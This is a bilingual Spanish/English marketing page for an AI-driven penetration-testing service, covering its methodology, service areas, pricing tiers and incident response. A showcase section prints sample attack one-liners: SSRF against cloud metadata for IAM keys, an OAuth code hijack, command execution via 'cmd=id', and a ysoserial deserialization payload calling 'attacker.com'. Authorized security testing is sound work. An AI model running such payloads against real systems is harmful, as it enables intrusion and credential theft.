LO QUE TU SCANNER NO VE,
NUESTRA IA LO EXPLOTA. WHAT YOUR SCANNER MISSES,
OUR AI EXPLOITS.
Pentesting con IA. Deteccion de 0-days. Reporte desde 24h. Desde $990. AI-powered pentesting. 0-day detection. Report from 24h. From $990.
De kickoff a reporte desde 24 horas Kickoff to report from 24 hours
Sin propuestas infladas. Cinco pasos. Nuestra IA ejecuta en horas lo que un equipo tarda semanas. No bloated proposals. Five steps. Our AI executes in hours what a team takes weeks.
Alcance y NDA Scope & NDA
Envias targets, firmamos NDA, arrancamos Send targets, sign NDA, go
Reconocimiento Recon
Superficie de ataque, 300+ modulos con IA Attack surface, 300+ AI-powered modules
Explotacion Exploit
Confirmacion + cadenas de ataque Confirmation + attack chains
Reporte Report
Evidencia, CVSS, playbook de remediacion Evidence, CVSS, remediation playbook
Retest Retest
Verificacion de fixes, gratis Verify fixes, free
Retest incluido: verificamos fixes criticos a los 30 dias. Sin costo extra. Retest included: we verify critical fixes at 30 days. No extra cost.
Tu scanner encontro 0 criticos. Nosotros encontramos esto.Your scanner found 0 criticals. We found these.
Desde tu app hasta la infra que la sostiene. Con IA que razona sobre tu codigo y genera exploits especificos.From your app to the infra behind it. With AI that reasons about your code and generates targeted exploits.
Web, APIs y movilWeb, APIs & Mobile
OWASP Top 10, logica de negocio, auth bypass, IDOR, SSRF, SQLi. REST, GraphQL, gRPC. Android e iOS — estatico + dinamico.OWASP Top 10, business logic, auth bypass, IDOR, SSRF, SQLi. REST, GraphQL, gRPC. Android & iOS — static + dynamic.
Infraestructura y cloudInfrastructure & Cloud
Servicios expuestos, LLMNR/NTLM relay. AWS, Azure, GCP — IAM, buckets, IMDS. Docker, K8s, Helm, registries.Exposed services, LLMNR/NTLM relay. AWS, Azure, GCP — IAM, buckets, IMDS. Docker, K8s, Helm, registries.
Active Directory e identidadActive Directory & Identity
Kerberos, OAuth 2.0, SAML, OIDC, SSO. Credenciales, movimiento lateral, escalacion de privilegios.Kerberos, OAuth 2.0, SAML, OIDC, SSO. Credentials, lateral movement, privilege escalation.
Post-explotacion y reportePost-exploitation & Reporting
Cadenas de ataque, escalacion de privilegios, evidencia reproducible, CVSS v3.1, playbook de remediacion.Attack chains, privilege escalation, reproducible evidence, CVSS v3.1, remediation playbook.
Motor de 0-days con IAAI-Powered 0-Day Engine
Nuestro sistema propietario analiza el codigo fuente de frameworks y CMS en tiempo real. Deteccion de vulnerabilidades desconocidas via analisis de taint, diff mining entre versiones y descubrimiento de gadget chains. Hallazgos que ningun scanner encuentra.Our proprietary system analyzes framework and CMS source code in real time. Unknown vulnerability detection via taint analysis, version diff mining and gadget chain discovery. Findings no scanner can find.
Pentesting asistido por IAAI-Assisted Pentesting
Combinamos 300+ modulos automatizados con validacion experta humana. La IA prioriza vectores de ataque, genera payloads adaptativos y bypasea WAFs en tiempo real. Resultados de un equipo de 20 pentesters en una fraccion del tiempo.We combine 300+ automated modules with expert human validation. AI prioritizes attack vectors, generates adaptive payloads and bypasses WAFs in real time. Results of a 20-person team in a fraction of the time.
No cubrimos: seguridad fisica, ingenieria social presencial, malware, SOC/SIEM continuo.Not covered: physical security, in-person social engineering, malware, continuous SOC/SIEM.
TECNOLOGIA PROPIA PROPRIETARY TECHNOLOGY
Motor de IA que encuentra lo que los scanners no ven AI engine that finds what scanners miss
Nuestro sistema no depende de firmas ni bases de datos publicas. Analiza codigo fuente, razona sobre flujos de datos y genera exploits especificos para tu stack. Our system doesn't rely on signatures or public databases. It analyzes source code, reasons about data flows and generates exploits specific to your stack.
Clonado de framework Framework cloning
Detectamos la version exacta de cada framework y CMS. Clonamos el codigo fuente de la version precisa que corre tu servidor. We detect the exact version of each framework and CMS. We clone the source code of the precise version your server runs.
Analisis de taint interprocedural Interprocedural taint analysis
La IA traza el flujo de datos desde cada input HTTP hasta cada sink peligroso (SQL, comandos, deserializacion). Cruza funciones, archivos y modulos. AI traces data flow from every HTTP input to every dangerous sink (SQL, commands, deserialization). Across functions, files and modules.
Diff mining entre versiones Version diff mining
Comparamos tu version con la siguiente release para encontrar parches silenciosos — vulnerabilidades que el vendor corrigio sin publicar CVE. We compare your version against the next release to find silent patches — vulnerabilities the vendor fixed without publishing a CVE.
Generacion de PoC y explotacion PoC generation and exploitation
Para cada vulnerabilidad confirmada, la IA genera un exploit especifico con los parametros exactos, el encoding correcto y bypass de WAF adaptativo. Lo testea contra tu servidor en vivo. For each confirmed vulnerability, AI generates a specific exploit with exact parameters, correct encoding and adaptive WAF bypass. Tests it against your live server.
Cada industria tiene sus propios riesgos. Los conocemos. Every industry has its own risks. We know them.
No hacemos pentests genericos. Adaptamos la metodologia a tu stack, tu regulacion y tus datos criticos. We don't do generic pentests. We adapt methodology to your stack, your regulation and your critical data.
Fintech
PCI-DSS 4.0, OAuth/OIDC, logica de pagos, race conditions en transacciones, API keys expuestas, IDOR en cuentas. PCI-DSS 4.0, OAuth/OIDC, payment logic, transaction race conditions, exposed API keys, account IDOR.
PCI-DSS 4.0Healthcare
HL7/FHIR, DICOM, portales de pacientes, sistemas clinicos, integraciones de laboratorio, datos de salud protegidos. HL7/FHIR, DICOM, patient portals, clinical systems, lab integrations, protected health information.
HIPAAGobierno Government
Active Directory, Exchange, VPN, firewalls, infraestructura legacy, datos ciudadanos, firma electronica. Active Directory, Exchange, VPN, firewalls, legacy infrastructure, citizen data, digital signatures.
ISO 27001E-commerce
Manipulacion de precios, IDOR en pedidos, bypass de cupones, inyeccion en pasarelas de pago, account takeover. Price manipulation, order IDOR, coupon bypass, payment gateway injection, account takeover.
PCI-DSSSaaS / Cloud
Multi-tenant isolation, SSRF a metadata cloud, IAM misconfig, CI/CD injection, secrets en repos, container escape. Multi-tenant isolation, cloud metadata SSRF, IAM misconfig, CI/CD injection, secrets in repos, container escape.
SOC 2Crypto / Web3
Smart contracts, bridges, custodial wallets, API de exchanges, flash loan attacks, front-running. Smart contracts, bridges, custodial wallets, exchange APIs, flash loan attacks, front-running.
Auditoria Smart Contract Smart Contract Audit 5,155 reglas de scanner. 0 hallazgos.
Nuestro motor con IA encontro 87. Incluyendo 3 zero-days. 5,155 scanner rules. 0 findings.
Our AI engine found 87. Including 3 zero-days.
Datos reales de engagements · Clientes bajo NDA · 3 industrias Real engagement data · Clients under NDA · 3 industries
OAuth Token Hijack → Admin Takeover
$ curl /callback?code=ATTACKER_CODE&state=VICTIM_STATE {"access_token":"eyJ...","role":"admin"} SSRF → Cloud Metadata → IAM Keys
$ curl "app.target.com/proxy?url=http://169.254.169.254/latest/" AccessKeyId: AKIA*** // full IAM credentials WAF Bypass via Non-Standard Port → RCE
$ curl https://target.com:8443/admin/exec?cmd=id uid=0(root) // port 443 blocked, 8443 direct Deserialization Chain → Reverse Shell
$ java -jar ysoserial.jar CommonsCollections5 "curl attacker.com" HTTP callback received — RCE confirmed “Encontraron lo que tres auditorias anteriores no vieron.” “They found what three prior audits missed.” — CTO
Ver reporte → View report →Precios publicados. La mitad del mercado. Sin letra chica. Published pricing. Half the market rate. No fine print.
Elegi el plan que se ajuste a tu superficie de ataque. Todos incluyen reporte con evidencia reproducible, CVSS y retest gratuito. Choose the plan that matches your attack surface. Every plan includes a report with reproducible evidence, CVSS and free retest.
Recon
Escaneo externo automatizado. Tu primer panorama de riesgo. Automated external scan. Your first risk overview.
- 1 dominio — vista externa 1 domain — external view
- Descubrimiento de subdominios y puertos Subdomain and port discovery
- Fingerprinting de tecnologias y versiones Technology and version fingerprinting
- Deteccion de CVEs conocidos Known CVE detection
- Reporte PDF ejecutivo Executive PDF report
- Entrega en 24 horas Delivery in 24 hours
Starter
Una aplicacion web, cobertura OWASP completa con explotacion manual. One web application, full OWASP coverage with manual exploitation.
- 1 aplicacion web — 1 dominio 1 web application — 1 domain
- OWASP Top 10 + OWASP API Top 10
- Explotacion manual de hallazgos Manual exploitation of findings
- Reporte PDF con evidencia reproducible y CVSS PDF report with reproducible evidence and CVSS
- 1 retest a 30 dias 1 retest at 30 days
- Entrega en 48-72 horas Delivery in 48-72 hours
- Soporte por email Email support
Professional
Web + API, explotacion profunda, logica de negocio y cadenas de ataque. Web + API, deep exploitation, business logic and attack chains.
- Web + API (REST, GraphQL, WebSocket) Web + API (REST, GraphQL, WebSocket)
- OWASP Top 10 + logica de negocio + IDOR OWASP Top 10 + business logic + IDOR
- Post-explotacion y cadenas de ataque Post-exploitation and attack chains
- Reporte PDF + HTML interactivo + SARIF PDF + interactive HTML + SARIF report
- Playbook de remediacion priorizado Prioritized remediation playbook
- 2 retests en 60 dias 2 retests within 60 days
- Entrega en 48 horas Delivery in 48 hours
- Canal directo Slack/email Direct Slack/email channel
Infrastructure
Servidores, red, Active Directory, Exchange, VPN. Pentest interno y externo. Servers, network, Active Directory, Exchange, VPN. Internal and external pentest.
- Red externa + interna (hasta 256 IPs) External + internal network (up to 256 IPs)
- Active Directory: Kerberoast, ADCS, DCSync, GPO Active Directory: Kerberoast, ADCS, DCSync, GPO
- Exchange / mail server: ProxyShell, relay, spray Exchange / mail server: ProxyShell, relay, spray
- VPN, firewalls, segmentacion de red VPN, firewalls, network segmentation
- Escalacion de privilegios y movimiento lateral Privilege escalation and lateral movement
- Reporte con mapa de red y cadenas de ataque Report with network map and attack chains
- 3 retests en 90 dias 3 retests within 90 days
- Entrega en 3-5 dias Delivery in 3-5 days
Red Team
Simulacion de ataque real. Web + infra + AD + cloud + ingenieria social + phishing. Real attack simulation. Web + infra + AD + cloud + social engineering + phishing.
- Todo lo de Infrastructure incluido Everything in Infrastructure included
- Cloud: AWS, Azure, GCP (IAM, S3, metadata) Cloud: AWS, Azure, GCP (IAM, S3, metadata)
- Phishing + ingenieria social personalizada Phishing + custom social engineering
- Evasion de WAF, EDR, SIEM WAF, EDR, SIEM evasion
- Mobile (Android + iOS) si aplica Mobile (Android + iOS) if applicable
- Reporte ejecutivo + tecnico + MITRE ATT&CK mapping Executive + technical report + MITRE ATT&CK mapping
- Retests ilimitados en 90 dias Unlimited retests within 90 days
- Pentester dedicado + Slack + calls Dedicated pentester + Slack + calls
- Entrega en 5-7 dias Delivery in 5-7 days
RESPUESTA DE EMERGENCIA EMERGENCY RESPONSE
Tu organizacion fue vulnerada?
Empezamos en 2 horas. Your organization was breached?
We start in 2 hours.
Incident response inmediato. Identificamos el vector de entrada, evaluamos el alcance del compromiso, contenemos la amenaza y documentamos todo para cumplimiento regulatorio. Immediate incident response. We identify the entry vector, assess compromise scope, contain the threat and document everything for regulatory compliance.
- SLA de 2 horas para inicio de respuesta 2-hour SLA for response start
- Analisis forense del vector de ataque Attack vector forensic analysis
- Contencion y erradicacion de la amenaza Threat containment and eradication
- Reporte para reguladores (URCDP, AGESIC, auditores) Report for regulators (data protection, auditors)
- Pentest post-incidente para verificar remediacion Post-incident pentest to verify remediation
Incluye 72h de respuesta activa + reporte forense + pentest post-incidente. Includes 72h active response + forensic report + post-incident pentest.
Contactar ahora → Contact now →Disponible 24/7. Respuesta en menos de 1 hora. Available 24/7. Response in under 1 hour.
FAQ
Preguntas frecuentes Common questions
Cuanto tarda un test de penetracion? How long does a penetration test take?
Depende del alcance. Recon: 24h. Starter: 48-72h. Professional: 48h. Infrastructure: 3-5 dias. Red Team: 5-7 dias. Nuestro motor de IA ejecuta 300+ modulos en paralelo — entregamos lo que a un equipo de 20 pentesters le toma semanas. Depends on scope. Recon: 24h. Starter: 48-72h. Professional: 48h. Infrastructure: 3-5 days. Red Team: 5-7 days. Our AI engine runs 300+ modules in parallel — we deliver what a team of 20 pentesters takes weeks to do.
Que incluye el reporte de pentesting? What’s included in the penetration testing report?
Un reporte tecnico con evidencia reproducible y scoring CVSS v3.1, un resumen ejecutivo para la gerencia, un playbook de remediacion priorizado y retest gratuito a 30 dias. Formatos: PDF, HTML, SARIF y CycloneDX. A technical report with reproducible evidence and CVSS v3.1 scoring, an executive summary for leadership, a prioritized remediation playbook, and a free retest at 30 days. Delivered in PDF, HTML, SARIF, and CycloneDX formats.
Es solo un escaneo automatizado de vulnerabilidades? Is this just automated vulnerability scanning?
No. La automatizacion descubre; nuestros ingenieros de seguridad validan, encadenan vulnerabilidades y redactan cada hallazgo. Cada resultado pasa por revision manual experta antes del reporte. No. Automation discovers; our security engineers validate, chain vulnerabilities together, and write every finding. Each result goes through expert manual review before the report.
Mas preguntas? More questions? hello@rekon.sh
TU PROXIMO PENTEST
EMPIEZA HOY.
YOUR NEXT PENTEST
STARTS TODAY.
Desde $990 USD · Sin suscripcion · Retest incluido From $990 USD · No subscription · Retest included